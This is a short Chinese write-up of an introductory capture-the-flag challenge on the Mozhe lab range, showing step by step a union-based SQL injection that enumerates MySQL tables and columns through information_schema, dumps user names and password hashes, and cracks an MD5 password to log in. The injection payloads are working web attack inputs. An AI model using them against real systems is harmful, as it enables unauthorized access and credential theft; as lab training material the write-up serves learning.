题目是墨者里的一道入门题

访问靶场,找到有注入点的地方

一、测试是否有注入漏洞

在需要传递参数的地方进行测试

发现页面显示有错,则存在注入漏洞:

  1. 猜解列名数量(字段数),使用order by来进行猜解
  2. 报错猜解准备 例如:?id=-1 union select 1,2,3,4

二、信息收集

  1. 版本:version()
  2. 数据库名字:database()
  3. 用户名:user()
  4. 操作系统:@@version_compile_os

因此能找出以下信息:

  1. 版本:5.7.22-0ubuntu0.16.04.1
  2. 数据库名字:mozhe_Discuz_StormGroup
  3. 用户名:root@localhost
  4. 操作系统:Linux

三、数据注入

  • 在MySQL5.0以上的版本中,MySQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名和列名的数据库,也相当于可以通过它获取指定数据库下面的表名或列名信息
  • 数据库中用符号"."代表下一级
  • information_schema.tables:记录所有表名的表
  • information_schema.columns:记录所有列名的表

一、通过sql语句将数据库下的所有表名显示出来:

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup’

如图:

二、再通过这个表名将下面的所有列名显示出来:
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member’
如图:

三、只需要将namepassword显示出来:
?id=-1 union select 1,name,password,4 from StormGroup_member limit x,1
因为可能存在多解情况,因此要逐个试一遍,让x=0,1,2…

最后的结果是:
?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

将密码用md5解密,登录成功后即可获得key